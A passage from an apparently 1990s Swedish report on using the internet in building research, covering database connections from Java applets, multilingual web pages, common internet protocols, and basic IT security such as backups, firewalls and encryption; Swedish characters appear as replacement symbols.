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1. Auto-commit: Varje SQL fr�ga som st�lls fr�n ett statement objekt
behandlas som en transaktion.

2. Normal-commit mode: alla SQL fr�gor som st�lls blir del av en
transaktion som man kan g�ra commit eller rollback p� som en helhet,
dvs en transaktion.

Det �r fullt m�jligt f�r en Applet eller en Java Applikation att ha mer �n en
samtidig Connection till en eller flera databaser.

Moderna WWW-servers som Netscapes och Jeeves fr�n JavaSoft har Servlet
APIer som g�r det m�jligt att enkelt generera WWW sidor med aktivt inneh�ll. I
kombination med JDBC �r det mycket enkelt att skapa en
relationsdatabasanslutning. Denna anslutning sker allts� p� serversidan och
inneh�ller l�mpligen funktioner f�r t ex. caching (lokal lagring) av databasfr�gor
samt deras resultat f�r att �ka systemets prestanda.

Om man anv�nder en Applet f�r att visa data p� klientsidan �r det �ven l�mpligt
att man h�r objektifierar informationen som varje databasfr�ga ger upphov till
innan den s�nds till klienten, antingen via n�got eget protokoll eller som ett
serialiserat objekt. P� samma s�tt delas objekt fr�n klienten upp i f�lt som kan
matas in i databasen av detta serverprogram.

I WWW l�sare vars javatolk baserar sig p� JDK 1.02, sker kommunikationen
mellan klient Applet och databasinterface med hj�lp av TCP/IP och n�got f�r
�ndam�let l�mpligt skapat protokoll. (Vad som �r l�mpligt kan i detta fall
avg�ras av om kommunikationen skall ske genom en brandv�gg d� man kanske
v�ljer att anv�nda HTTP protokollet som man i de flesta fall lugnt kan sl�ppa
igenom). I moderna WWW-klienter med st�d f�r JDK 1.1 kan man i st�llet
anv�nda distribuerade objekt d�r en del finns p� servern och en annan p�
klienten. Det blir s�lunda m�jligt att skriva Appletfunktioner som direkt anropar
objekt lagrade p� serversidan eller vice versa (RMI, Remote Method Invocation,
se exempelvis    http://java.sun.com/products/jdk/1.1/docs/guide/rmi/  ) .

En annan metod �r att anv�nda HTML-formul�r p� klientsidan och l�ta det
serverbaserade programmet fungera som ett konventionellt cgi-program.

F�rdelen med att anv�nda Applets �r att man kontinuerligt kan st�lla fr�gor till
databasen och inte �r h�nvisad till ett enda s�ndtillf�lle d� all information s�nds
�ver fr�n klienten till servern. Om man anv�nder RMI-teknik �r det �ven m�jligt
att h�lla reda p� hur m�nga f�nster man �ppnat mot databasen. Detta g�r att
anv�ndaren inte av misstag har flera f�nster �ppna samtidigt och p� s� s�tt kan
riskera att f�ra in olika uppgifter i samma f�lt och av misstag spara n�gon
felaktighet. Arbetet med att h�lla r�tt f�nster aktiverat sk�ts l�mpligen av ett
speciellt Javaobjekt designat f�r detta �ndam�l (Singleton Pattern).
Nackdelen �r att Appleten kan ta l�ng tid att ladda ned �ver n�tet. L�sningen
med Applet passar allts� b�st om man inte tvingas byta WWW sida allt f�r ofta.

9 . 9 INTERNATIONALISERING OCH ANV�NDARANPASSNING

WWW �r ett medium som n�r �ver nationsgr�nser, det kan d�rf�r vara ide att
underl�tta f�r l�sarna genom att h�lla sidor p� flera spr�k. Med hj�lp av cgi-
script �r det enkelt att automatiskt v�lja vilken sida som skall visas. Naturligtvis



SVENSK BYGGFORSKNING P� INTERNET, SWEBU 65

skall det f�rutom cgi-scriptet finnas m�jlighet att v�lja vilket spr�k man vill l�sa
informationen p�, om den finns p� flera spr�k.

En del WWW-klienter t.ex. Netscape ger anv�ndaren m�jlighet att v�lja vilket
spr�k han f�redrar. WWW-klienten kan d� p� samma s�tt som vad det g�ller
bilder och bildformat f�rhandla med WWW-servern om vilket dokument som
skall s�ndas ut till klienten. Servern m�ste i detta fall konfigureras s� att den f�r
information om vilka dokument som �r p� vilka spr�k. Detta g�rs ofta med hj�lp
av pre- eller suffix f�r filer. Men metoderna varierar fr�n server till server och
man g�r b�st i att l�sa servermjukvarans bruksanvisning om man vill st�dja
dessa funktioner.

Det f�rsta man beh�ver g�ra �r naturligtvis att avg�ra vilka spr�k man beh�ver
st�dja och g�ra en kalkyl �ver underh�llskostnaderna i form av �vers�ttning av
nyproducerat material. I m�nga fall r�cker det dock inte med att �vers�tta texter
man m�ste ocks� ta med i ber�kningen att viss textinformation kan finnas
inbakade i bilder vilket inneb�r att man m�ste skaffa och underh�lla bildmaterial
p� de spr�k man beslutat att st�dja.

Om man anv�nder bilder med text som knappar i sitt anv�ndargr�nssnitt m�ste
man ta h�nsyn till detta vid designen av sidorna eftersom texten med st�rsta
sannolikhet kommer att bli olika l�ng p� olika spr�k. Inte ens om man har
textl�sa ikoner som knappar kommer man undan olika versioner f�r olika l�nder
eftersom m�nniskors associationsbanor varierar fr�n land till land.

Ett exempel p� detta �r att man i USA ofta har en parabolantenn som symbol f�r
nyheter. Detta fungerar eftersom amerikanen �r van vid att CNN s�nder sina
nyheter fr�n hela v�rlden p� TV via satellit. I mindre tekniskt utvecklade l�nder
kan symbolen bli obegriplig. Det �r allts� viktigt att man v�ljer symboler med s�
universell giltighet som m�jligt f�r att bli f�rst�dd och f�r att inte av misstag
v�cka anst�t hos sina l�sare. F�r att s�kerst�lla att man inte blir missf�rst�dd �r
det b�st att r�dfr�ga inf�dda fr�n de l�nder som man riktar sig mot..

S� l�nge man h�ller sig till vanliga WWW dokument �r internationalisering
oftast inget st�rre problem s� l�nge man f�ljer de ovan givna r�den. Om man
d�remot producerar sidor av mera interaktiv karakt�r finns det ytterligare
fallgropar att se upp f�r.

F�r att g�ra det enklare f�r sig b�r man skilja ut de delar av ett program som kan
beh�va �ndras vid internationalisering s� att de kan behandlas f�r sig. Det kan
r�ra sig om sorteringsalgoritmer, textens riktning m.m. Allt detta kan d� man
skriver vanliga program l�tt ordnas genom att s�tta st�lla in landet vars spr�k du
talar och l�ta operativsystemet ta hand om resten. Men n�r det g�ller WWW
till�mpningar kan ju servern st� i ett land och klienten befinna sig i ett annat.

Detta g�r att man ofta m�ste skapa egna l�sningar f�r dessa problem. F�r det
f�rsta m�ste man ta reda p� var klienten finns. Det kan man g�ra genom att titta
p� environment-variablen REMOTE_HOST som anger hostnamnet (v�rddatorn)
d�r den anropande klienten k�r.

Om WWW servern fr�gar DNS vem som har ett visst IP nummer kan man i
denna variabel f� ut n�got i stil med delphi.kstr.lth.se d�r tecknen efter sista
punkten anger i vilket land klienten finns. Det finns idag undantag med adresser
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som slutar p� .com, .net och .org vilka kan finnas var som helst i v�rlden.
Namngivning av IP-nummer kommer �ven att f�r�ndras fram�ver.

F�rutom att anv�nda cgi-script f�r att avg�ra fr�n vilket land l�saren kommer
kan man �ven i n�gon m�n avg�ra vem han �r beroende p� vilken dom�nadress
anropet kommer fr�n, eller vilken typ av dator han anv�nder.

10 . Tj�nster i Internet

1 0 . 1 KOMMUNIKATIONSTJ�NSTER.

I j�mf�relse med icke datoriserade kommunikationstj�nster finns det m�nga
f�rdelar;

- f�rst och fr�mst vinner man tid,
- det blir enkelt att �teranv�nda och modifiera material som man kanske f�tt

via elektronisk post annat digitalt medium,
- man kan g�ra information enkelt s�kbar,
- informationen �r enklare att tyda �n handskrift,
- det kr�vs mindre fysisk lagringsutrymme
- informationen blir enklare att n� oavsett tid och rum.

Som synes finns det tungt v�gande sk�l att �verg� till helt elektronisk
informationshantering. Vad man m�jligen g�r miste om �r gl�djen att f�
parfymerade brev, men f�rhoppningsvis kan effektivare arbetsmetoder leda till
att vi f�r mer fri tid �ver till att skicka parfymerade brev till varandra och inte
minst att odla personliga kontakter p� ort och st�lle.

Det finns idag ett m�ngfald av n�tl�sningar som fungerar bra inom den egna
organisationen d�r man har god kontroll �ver den h�rd- och mjukvara som
anv�nds. Som exempel kan n�mnas Novell Netware och AppleTalk.

Dock blir det allt vanligare att man anv�nder samma kommunikationsstandard
internt p� ett intranet som p� Internet. Detta har flera f�rdelar.

- Man beh�ver inte l�ra sig olika program f�r att t.ex. h�mta en fil oavsett
om den ligger lagrad p� det interna n�tverket eller ej.

- De protokoll som har st�rst spridning p� Internet �r plattformsoberoende.
De �r skapade f�r att anv�ndas i stora, globala n�tverk varf�r risken �r
liten att organisationen v�xer ur systemet.

- Global samverkan blir enklare om en gemensam och v�lspridd standard
anv�nds

Trenden mot att anv�nda Internetprotokoll f�r all kommunikation syns inte
minst p� de stora operativsystemtillverkarnas anstr�ngningar att s�mnl�st
integrera Internettj�nster i sina anv�ndargr�nssnitt (Windows 95 och Apples
kommande system 8).
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1 0 . 2 INTERAKTION MED ANDRA SYSTEM

Liksom m�nniskor kommunicerar enligt olika conventioner och spr�k
kommunicerar datorsystem med varandra via protokoll. Protokoll finns f�r att
hantera olika typer av kommunikation exempelvis f�r att flytta filer (ftp),
kommunikation mot en inloggad terminal (telnet) och kommunikation i World
Wide Web (http).

1 0 . 3 PROTOKOLLEN

De spr�k som anv�nds f�r kommunikation mellan datorer brukar kallas
protokoll. Det kan antingen vara mer eller mindre f�r m�nniskor l�sliga bin�ra
teckenkombinationer som s�nds �ver n�tet. Som alltid g�ller det att tala r�tt
spr�k och fr�ga om r�tt saker vid r�tt tillf�lle och r�tt plats. Till exempel l�nar
det sig f�ga att ringa Fr�ken UR f�r att fr�ga om v�dret. P� samma s�tt �r det i
datorv�rlden. H�r anger man vem man vill kommunicera med m.h.a. ett IP-
nummer eller ett datornamn (som automatiskt �vers�tts till IP-nummer via en
katalogtj�nst DNS, Domain Name Server).

Applikationsskiktet

Transportskiktet

N�tverksskiktet

L�nkskiktet

Fysiska ledningar,...

H�r finns exempelvis
Webbl�ddare och epostprogram

Hanterar datafl�det mellan tv� datorer m.h.a. 
TCP, Transport Control Protocol

Ser till att datapaket p� n�tverket kommer
r�tt m.h.a. IP, Internet Protocol

N�tverkskort med drivrutin i datorn

Figur 29 Principen f�r hur kommunikation sker mellan datorer i n�tverk med hj�lp av
TCP/IP protokollen. Ansvaret f�r att alla datapaket kommer fram och i r�tt
ordning ligger i transportskiktet.

Det r�cker dock inte att ange vilken dator man ska till, man m�ste �ven
specificera vilken tj�nst man vill komma �t. Detta sker genom att man v�ljer ett
s� kallat portnummer. Varje portnummer har en viss standardiserad tj�nst. De
fungerar med andra ord som anknytningarna i en telefonv�xel d�r IP numret �r
v�xelns nummer och portarna �r anknytningsnumren. Om man loggar in p�
en UNIX maskin kan man l�tt ta reda p� vilka portnummer som st�r f�r vilka
tj�nster genom att l�sa filen /etc/services. Portnummer under 1024 �r
reserverade f�r systemets bruk och f�r inte anv�ndas av vanliga anv�ndare.

Det program som anropar ett annat program brukar kallas klient och den
anropade f�r server d�rav namnet klient-server till�mpning.
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1 0 . 4 RFC-REQUESTS FOR COMMENTS

Detta �r f�rslag till nya standarder inom Internet omr�det. Oftast tar det mycket
l�ng tid innan dessa standarder fastl�ggs av IETF, Internet Engineering Task
Force,  och RFCerna blir d�rigenom de fakto standarder f�r hur saker och ting
fungerar.

Den som i detalj vill veta hur ett visst protokoll fungerar kan leta efter den RFC
som beskriver protokollen det �r dock viktigt att titta p� b�st f�re datum som
alltid finns angivet innan inneh�llet kan tas f�r givet. RFCerna hittar man enklast
genom att helt enkelt s�ka efter RFC p� Internet med hj�lp av n�gon s�kmaskin
som t.ex. Alta Vista. M�nga av de WWW-server-sites som h�ller RFCer har
sedan i sin tur ofta n�gon s�kmotor som g�r att man kan hitta en viss RFC med
hj�lp av fritexts�kning eller genom att s�ka efter ett visst RFC nummer. Ofta �r
RFCerna dessutom hyperl�nkade till varandra. Se �ven lista �ver RFCs i
ftp://ftp.sunet.se/pub/Internet-documents/rfc/rfc-index.txt  

1 0 . 5 FTP - FILE TRANSFER PROTOCOL.

FTP, File Transfer Protocol, anv�nds f�r att �verf�ra filer fr�n en maskin till en
annan oberoende av vilket operativsystem som k�rs av de b�da
kommunicerande maskinerna (Postel & Reynolds, 1985).

Autentieringen av anv�ndare sker med hj�lp av l�senord. Det �r m�jligt att
anv�nda ftp f�r att sprida filer till allm�nheten genom att s�tta upp s� kallad
anonym ftp. De som vill h�mta en fil identifierar sig d� med anv�ndaridentiteten
"ftp" eller "anonymous" och som l�senord skriver han sin e-mailadress. Ofta
struntar ftp servern i om man anger en adress eller ej men det kan vara bra att
ange den. Den som h�mtar filen kan d� bli kontaktad av serveradministrat�ren
t.ex. om det visat sig att den varit beh�ftad med datorvirus.

Ibland f�r �ven anonyma anv�ndare l�gga in filer i vissa mappar/kataloger p� ftp
servern. N�r man skickar filer med hj�lp av ftp m�ste man t�nka p� om det �r
textfiler eller bin�ra filer och ge instruktioner d�refter, eftersom information hos
bin�ra filer annars kan g� f�rlorad.

Man b�r dock t�nka p� att om vem som helst f�r l�gga filer s� b�r detta ske i
s�rskilda mappar vars inneh�ll inte �r l�sbart. Om s� �r fallet kan obeh�riga
anv�nda servern f�r att t ex distribuera piratkopior av program

Exempel p� ftp session:

$ftp ftp.loopback.nowhere.com
user: per
password(per): ftp
Guest login OK
Welcome to loopback.nowhere.com you are user 12
of 120. All transactions will be logged. If you
find this unacceptable please sign off now.

> ls
bin
etc
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pub
> cd pub
> ls
junk
trash
usefulstuff
cd usefulstuff
> ls
README
goodFEMprogram.tar.gz
goodFEMprogram.solaris.bin.tar.gz
goodFEMprogram..win95.zip
gdpgm016.zip
> bin
binary mode set
> get gdpgm.zip
transfer completed. 6740543 Byte

1 0 . 6 HTTP

HTTP, Hypertext Transport Protocol, anv�ndes f�r att i Word Wide Web
hantera fil�verf�ring. Web-bl�ddrare som Netscape och Explorer �r HTTP
klienter. WWW klienten anv�nder HTTP f�r att h�mta och l�mna information p�
en WWW-server. F�rbindelsen mellan klienten och servern �r bara aktiv n�r
meddelanden skickas och ingen statusinformation lagras genom HTTP
protokollets f�rsorg.

WWW-dokumenten p� Internet n�s genom den s� kallade URL, Uniform
Resource Locator, adressen. Exempel:
http://delphi.kstr.lth.se/swebu/index.html inneb�r att protokollet HTTP skall
anv�ndes f�r att h�mta filen 'index.html' i filkatalogen 'swebu' p� datorn
'delphi' som befinner sig vid avdelningen f�r B�rande konstruktioners 'kstr' p�
LTH 'lth' i Internet dom�n Sverige 'se'.

1 0 . 7 TJ�NSTER F�R ELEKTRONISK POST

1 0 . 7 . 1 SMTP

Simple Mail Transfer Protocol �r Internetstandarden f�r att s�nda elektronisk
post.(Klensin et.al., 1995).

Det vanligaste programmet f�r att hantera SMTP heter sendmail. Ursprungligen
kunde man bara s�nda text inneh�llande den amerikanska teckenstandarden
ANSI X3.4-1986. Ett flertal f�rs�k att finna metoder att s�nda tecken som ���
har gjorts. De flesta dock misslyckade p� grund av att de g�tt ut p� att byta ut
n�got tecken i det amerikanska teckenstandarden mot n�gon nationell bokstav
som t ex ett svenskt �. I och med inf�randet av MIME (Borenstein & Freed,
1996b-f) har man nu lyckats komma runt problemet. MIME standarden ,
Multipurpose Internet Mail Extension, anv�nds inte bara f�r att f� r�tt bokst�ver
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utan �ven f�r att ge m�jlighet att s�nda med bilder, ljud, video eller n�gon annan
form av data med elektronisk post.

1 0 . 7 . 2 POP3

POP st�r f�r Post Office Protocol (Myers & Rose, 1996). P� mindre datorer i
Internet �r det ofta opraktisk att anv�nda SMTP baserade program f�r
posthantering, eftersom det skulle fordra allt f�r mycket diskutrymme eller CPU
kraft d� de m�ste k�ras kontinuerligt. Detta senare f�rh�llande g�r �ven att
SMTP baserade l�sningar blir ol�mpliga f�r system som inte �r st�ndigt
anslutna till n�tet, som t.ex. b�rbara datorer som ansluter till n�tet via modem.
F�r att l�sa dessa problem skapades POP numera POP3 som  g�r det m�jligt f�r
en dator att n�r den s� �nskar ansluta till en POP3 server och h�mta den post
som samlats d�r. Servern i sig f�r oftast sin post via SMTP. Vanliga program
f�r att hantera POP3 �r Popper p� serversidan och Netscape Navigator eller
Eudora p� klientsidan.

1 0 . 7 . 3 IMAP4

IMAP st�r f�r Interactive Message/Mail Access Protocol, (Chrispin, 1996g).
IMAP Version 4, IMAP4, till�ter klienter att manipulera elektronisk post lagrad
p� servern p� liknande s�tt som i s� kallade mailboxar p� klient sidan.
Protokollet g�r det �ven m�jligt f�r en klient som ej varit ansluten till n�tet f�r
l�ngre eller kortare tid att synkronisera sitt inneh�ll med servern.

IMAP4 inneh�ller funktioner f�r att skapa, ta bort och d�pa om mailboxar. Det
�r �ven m�jligt att kolla om ny post anl�nt, ta bort meddelanden fr�n servern f�r
gott, s�ka i mail p� servern och selektivt h�mta vissa meddelanden eller delar av
dem. Meddelandena p� servern n�s via meddelandets nummer. IMAP4 anger
inget s�tt att posta elektronisk post. Postning sker l�mpligen med SMTP.

10.8 PPP

PPP st�r f�r Point to Point Protocol. Detta anv�nds f�r att ansluta en dator till
internet via en uppringd f�rbindelse, via t ex ett modem. Tj�nsten m�jligg�r
s�v�l dynamisk som fast IP nummer tilldelning till den uppringande
klientdatorn. Med hj�lp av PPP kan man n� alla tj�nster som �r tillg�ngliga i ett
normalt Ethernet baserat  TCP/IP n�tverk.

11 . S�KERHET

11.1 DRIFTSS�KERHET, TILLG�NGLIGHET

Det finns inga ofelbara system, men man kan redan vid designen av systemet
undvika de djupaste fallgroparna. Det kan r�ra sig om organiserade back-ups
(s�kerhetskopior), g�rna b�de automatiserade och centrala.
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1 1 . 1 . 1 S�kerhetskopior

Man kan inte r�kna med att alla alltid kommer i h�g att ta back-up p� sina filer.
Dessutom �r det sl�seri med tid, eftersom anv�ndaren sj�lv d� m�ste h�lla
ordning p� media. Dock b�r anv�ndaren se till att under arbetstiden g�ra egna
kopior p� exempelvis textdokument man just arbetar med.

F�r att kunna anv�nda back-up system m�ste man vara s�ker p� hur det fungerar
och ATT det fungerar. Man b�r med andra ord prova p� testsystem f�r att
verifiera att det verkligen fungerar och att man hanterar programmet p� ett
korrekt s�tt. Detta fodrar utbildning av den personal som skall hantera systemet.
Det bli kostsamt att utbilda hela personalen d� man dessutom m�ste man utbilda
tillf�lliga vikarier.

Av dessa sk�l �r det l�mpligt att utse n�gon eller n�gra ansvariga f�r back-up
funktionen. S�kerhetskopiorna m�ste f�rvaras p� l�mpligt s�tt s� att de inte
f�rst�rs vid brand eller slinker med vid ett inbrott. Till exempel en inom
r�ckh�ll, en i brands�kert sk�p och en tredje i annan byggnad.

N�r man l�gger upp sin back-up strategi �r det viktigt att man t�nker p� hur
l�nga driftstopp som verksamheten t�l . Det kan n�mligen ta olika l�ng tid att
restaurera systemet beroende p� hur s�kerhetskopiorna gjorts. Ofta g�r det
fortare att �terst�lla systemet fr�n en total back-up �n fr�n inkrementella back-
ups. Detta skall v�gas mot att det tar l�ngre tid att skapa en totalback-up �n
inkrementella dito.

1 1 . 1 . 2 Redundans

Tillg�ngligheten �r ocks� beroende av tillf�rlitlig h�rdvara. De flesta
elektronikkomponenter som t.ex. datorernas CPU- och RAM-minnen �ldras inte
och har s�ledes lika stor sannolikhet att vid varje given tidpunkt g� i s�nder.

F�rebyggande underh�ll �r allts� inte till�mpbart som i fallet med mekaniska
komponenter, som t.ex. h�rddiskar, d�r man kan f�rv�nta sig en viss driftstid.
Man kan ist�llet anv�nda sig av redundanta system. Det kan r�ra sig om passiv
eller aktiv redundans. Vid passiv redundans fodras det manuella ingrepp f�r att
koppla in en ny komponent ist�llet f�r den felande. Vid aktiv redundans sker
detta automatiskt. I de flesta fall r�cker det med att man har en extra dator att
koppla in vid driftsbortfall. Systemet b�r designas s� att denna operation �r
enkel att utf�ra. Till exempel genom utbytbara eller externa h�rddiskar ist�llet
f�r interna s� att verktygsl�dan inte beh�va konsulteras.

Redundans kan ocks� anv�ndas p� system som har f�rebyggande underh�ll f�r
h�rddiskar etc. Man kan till exempel byta enskilda h�rddiskar i flykten i RAID 5
(Redundant Array of Inexpensive Disks) system. B�st �r det om systemen kan
konfigureras att varsko administrat�ren om eventuella fel innan anv�ndaren har
hunnit bli lidande. Det kan r�ra sig om att automatiskt till administrat�ren skicka
ett e-mail som s�ger att en h�rddisk slutat fungera och systemet automatiskt har
bytt till en reservdisk.
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1 1 . 1 . 3 Beh�righeter och ansvarsf�rdelning

I det flesta system �r det m�jligt att ge anv�ndare beh�righeter att utf�ra vissa
uppgifter, t.ex. att l�sa och/eller skriva i vissa filer eller att anv�nda ett visst
program. Det �r inte l�mpligt att alla anv�ndare f�r g�ra allting. Om s� �r fallet
kommer man snart till ett l�ge d�r det inte finns n�gon som har �verblick �ver
systemets uppbyggnad och struktur. I f�rl�ngningen inneb�r detta att det blir
sv�rt att avg�ra n�r det �r dags f�r systemuppgraderingar som t.ex. ink�p av ny
disk eller n�tkoppling med st�rre bandbredd.

Det �r s�ledes viktigt att man utser n�gon som har totalansvar f�r systemet.
Under denna person �r det l�mpligt att f�rdela ansvarsomr�den som t.ex.
skrivaradministrat�rer, databasadministrat�r, n�tansvarig m.fl.
Genom att skapa klart avgr�nsade ansvarsomr�den under en gemensam ledning
minskar man risken f�r dubbelarbete och missf�rst�nd. Om n�gon av dessa
nyckelpersoner inte finns tillg�ngliga under l�ngre eller kortare tid blir
kunskapsdom�nen som en ers�ttare beh�ver s�ttas in i mera avgr�nsad och han
kan d�rigenom snabbare komma in sin roll.

Man b�r om m�jligt �ven bygga systemet s� att inte ens nyckelpersonerna kan
utf�ra den totalansvariges uppgifter. De b�r inte heller ha beh�righeter att kunna
ta �ver varandras uppgifter utan den totalansvariges direkta medgivande genom
en f�r�ndring av beh�righet i systemet. Om man inte f�ljer dessa strikta regler
kommer f�rr eller senare n�gon att �verskrida sina befogenheter, m� vara i b�sta
v�lmening, eller att det tillf�lligtvis var den b�sta l�sningen p� n�got problem.
Resultatet p� l�ngre sikt blir dock oundvikligen kaos.

1 1 . 1 . 4 Vikten av kompetens

Om man i l�ngden skall kunna vidmakth�lla ett fungerande dynamiskt system
fordras det att man har egen kompetens, best�llarkompetens, som �tminstone �r
s� stor att man vet vilka omr�den man saknar och vet tillr�ckligt mycket f�r att
kunna k�pa in r�tt kompetens.

Att bygga ett system d�r m�len inte fr�n b�rjan �r klart definierade av best�llaren
kan f� f�r�dande effekter s�v�l p� systemets slutliga funktionalitet som p�
leveranstiden. Ofta tenderar leverant�rer av tj�nster s�lja det de �r bra p�, och
inte n�dv�ndigtvis det som passar situationen b�st. Vi vill h�r inte p�st� att
direkta o�rligheter �r frekventa, men det fordras att konsulten har tillr�ckligt stor
�verblick �ver p� marknaden befintliga system f�r att han ska kunna ge f�rslag
p� en bra l�sning. Vad som �r en bra eller d�lig l�sning m�ste k�pare sj�lv vara
kapabel att avg�ra.

Allra b�st �r det naturligtvis om man sj�lv tillfullo beh�rskar sitt system. Detta
kan naturligtvis st�lla sig sv�rt eftersom det fordrar st�ndig fortbildning om man
vill bevara dynamiken i systemet och utnyttja nya tekniska landvinningar.
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1 1 . 2 INBROTTSS�KERHET

1 1 . 2 . 1 Skydd av data

Vad �r det man beh�ver skydda? Man kan skydda:

1 Hemliga data, aff�rshemligheter.
2 Datas integritet, dvs f�rhindra obeh�riga att g�ra �ndringar.
3 S�kerst�lla den egna tillg�ngen till data.

Ofta fokuserar man sina s�kerhetsstr�vanden p� att f�rhindra att obeh�riga
kommer �t hemlig information t.ex. via  industrikontakter i samband med
framtagning av nya produkter.

�ven om man antar att det g�r att skilja p� hemliga data och publika data finns
det all anledning att hantera problemen med dataintegritet och tillg�nglighet
seri�st. Antag att data f�rst�rs genom ett intr�ng. Dessa kommer att beh�va
�terskapas och bara h�rigenom �samka dig en kostnad. �gnar du dig dessutom
�t n�gon informationstj�nst blir f�rlusten s� mycket st�rre. Andra mera
sv�rgreppbara kostnader �r f�rlust av f�rtroende hos kunder, i detta fallet
forskaren eller studenten, investerare o.s.v.

�ven om den som bryter sig in i systemet inte g�r n�gon skada, utan kanske
bara l�mnar meddelandet "Kilroy was here" m�ste man verifiera att inkr�ktaren
inte gjort n�got annat, detta kan ta �tskilliga arbetsdagar i anspr�k. Faktum �r att
en s�dan attack ofta �r betydligt dyrare �n de g�nger data totalf�rst�rts, f�rutsatt
att f�rsvunnen information kan h�mtas fr�n s�kerhetskopia.

Det �r emellertid inte bara en fr�ga om att skydda data och information utan �ven
ett f�retags eller privatpersons ansikte ut�t och goda rykte. Oftast har man under
l�ng tid investerat i att bygga upp en profil och gjort sig k�nda genom
varum�rke och produktnamn. Dessa v�rden kan vara dyra att ers�tta.

Man skall inte driva uppbyggnad av de datorbaserade skyddsmekanismerna in
absurdum. �ven om det kan vara sv�rt att erk�nna kan mycket v�l risken att en
anst�lld l�mnar f�retaget med data p� en diskett och olovligen sprider dessa vara
st�rre �n vad en rimlig datas�kerhetsniv� kan erbjuda.

1 1 . 2 . 2 Firewall, brandv�gg

En brandv�gg �r en process som filtrerar all trafik mellan ett skyddat s�kert n�t
innanf�r muren och ett mera farofyllt n�t utanf�r, t.ex. Internet. Brandv�ggar
kan delas in i tre kategorier (Pfleger, 1996);

1. screening routers,
2. proxy gateways ibland kallade bastion hosts
3. guards

De olika brandv�ggstyperna kan anv�ndas var f�r sig eller i kombination.
Typiskt f�r samtliga l�sningar �r att de utg�r ett skalf�rsvar som hindrar
angripare utifr�n. En brandv�gg skyddar bara data som finns innanf�r
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brandmuren och utg�r s�ledes inget skydd f�r data som transporteras �ver ett
os�kert n�t.

F�r att st�rka skyddet kan man anv�nda kryptering. Det �r d� l�mpligt att
krypteringen sker p� maskiner innanf�r den yttre brandv�ggen. P� detta s�tt
minskar risken att en inkr�ktare kommer �t krypteringsnycklar m.m. och
systemet blir s�krare. Med hj�lp av kryptering och digitala signaturer som
s�kerst�ller att inneh�llet inte har f�r�ndrats under transport kan man p� ett
s�kert s�tt anv�nda Internet f�r kommunikation av k�nsligt material. Hur stark
kryptografi som beh�ver anv�ndas beror p� hur l�nge informationen som s�nds
�r intressant f�r en angripare och hur stora resurser potentiella angripare kan
t�nkas st�lla upp med f�r att dechiffrera meddelandena.

SCREENING ROUTERS

E Screening router �r m�nga g�nger den enklaste och effektivaste brandv�ggen.
Datorer �r vanligen anslutna till n�tet via en router. En router �r en dator som tar
emot digitala informationspaket, konsulterar en routing tabell f�r att se var de
ska ta v�gen, och skickar ut paketet mot sin destination p� n�gon av dess
fysiska portar. En filtrerande router har tv� funktioner:

1. F�rhindra att falska interna adresser anropas
2. Blockera kommunikation med valda protokoll i valfri riktning.

Den uppr�tth�ller dessa funktioner genom att titta p� IP paketens headers. Dessa
inneh�ller bl a k�ll- och destinationsadress, paketl�ngd, och
felkorrektionskoder.

PROXY GATEWAYS

Dessa har st�rre komplexitet �n routers. De ser inte bara headers och protokoll
utan tittar �ven p� inneh�llet i de meddelanden som skickas. Proxy gateway
utg�r en st�llf�retr�dare som ges uppgift att ta �ver en annan servers tj�nster.
Detta g�r man f�r att kunna l�gga in ytterligare funktionalitet innan tj�nsten
utf�res p� den ordinarie servern. Med en proxy gateway �r det t.ex. m�jligt att
se till att trafiken till port 25 (Standardporten f�r SMTP) p� en server bara best�r
av giltiga mailmeddelanden i mailprotokollet. Proxy servern f�r i det h�r fallet
uppdraget att s�nda iv�g ett mail. Men f�re s�ndningen kontrolleras mailet med
avseende p� exempelvis p�h�ngda filer.

GUARDS (V�KTARE)

Har st�rre komplexitet �n proxy gateways och analyserar inneh�llet p� de
meddelanden som s�nds. Det kan till exempel r�ra sig om att g�ra antivirus
testning av e-mail.
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1 1 . 3 OLIKA TYPER AV ATTACKER

1 1 . 3 . 1 Intr�ng

Vid ett intr�ng kan obeh�riga komma in och anv�nda systemet som vore de
beh�riga anv�ndare. Man m�ste ocks� t�nka p� att en brandv�gg inte alltid
hj�lper mot attacker. M�nniskor kan i v�rsta fall vara l�ttare att lura �n datorer.
Vad g�r systemadministrat�ren d� VD ringer och s�ger att han skall visa den
senaste produkten f�r f�retagets viktigaste kund om tv� minuter och han s�ger
sig ha gl�mt l�senordet.

Det �r inte om�jligt att t�nka sig att systemadministrat�ren l�mnar ut ett nytt
l�senord i denna stressade situation, utan att verifiera vem det egentligen var
som ringde. Detta g�ller speciellt om den uppringande ger intryck av att k�nna
till sociala f�rh�llanden och systemadministrat�rens namn o.s.v.

�ven om en brandv�gg inte direkt kan f�rhindra en s�dan h�r attack kan den
g�ra att det blir betydligt sv�rare att n� uppgifter om sociala f�rh�llanden och
systemegenskaper som till exempel IP-nummer. Om man inte vet vem man skall
attackera f�rsv�ras attacken avsev�rt. En annan metod f�r att f�rsv�ra attacker
av denna typ �r att anv�nda eng�ngsl�senord samt att f�rhindra inloggning fr�n
system utanf�r den egna organisationen.

LOGG

Man b�r vidare f�ra loggbok �ver vem som anv�nder systemet. Loggen skall
inte bara f�ras utan �ven kontrolleras, vilket �ven det har sin kostnad i arbetstid.
Ett medelstort system, med m�jlighet till telnet (protokoll f�r
terminalemulering), ftp, mail och webtj�nster, kan ta en halv till en arbetsdag i
veckan att kontrollera. Stora f�retag som till exempel Sun har bevakning dygnet
runt f�r s�kerhetens bevarande.

1 1 . 3 . 2 Informationsst�ld och kryptering

Ofta har datorlagrad information ett v�rde som kan g�ra att man vill stj�la den.
Antingen  utg�r informationen i sig en handelsvara och har d�rigenom ett v�rde
utanf�r den egna informationsdom�nen eller s� kan den utg�ra
bakgrundsinformation f�r annan inkomstbringande verksamhet.

Det s�kraste s�ttet att skydda sig mot st�ld �r att g�ra informationen ol�slig f�r
obeh�riga genom kryptering. Det �r d� viktigt att informationen �r krypterad
under hela sitt liv, oavsett om den ligger fysiskt lagrad eller �r under transport
�ver n�got datorn�t. Vanliga krypteringssystem p� Internet �r PGP, som fr�mst
anv�nds f�r e-mail och SSL.

PGP

PGP, Pretty Good Privacy, �r ett s� kallat asymmetriskt kryperingssystem som
bygger p� att den som vill ta emot krypterad information l�mnar ut sin publika
nyckel till den som ska s�nda informationen. S�ndaren krypterar materialet med
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mottagarens publika nyckel och skickar iv�g det. V�l framme hos mottagaren
kan meddelandet dekrypteras med hj�lp av mottagarens privata nyckel som bara
han k�nner. Se (Garfinkel, 1995)

SSL

F�rkortningen SSL st�r f�r Secure Socket Layer. SSL, som �r Internets
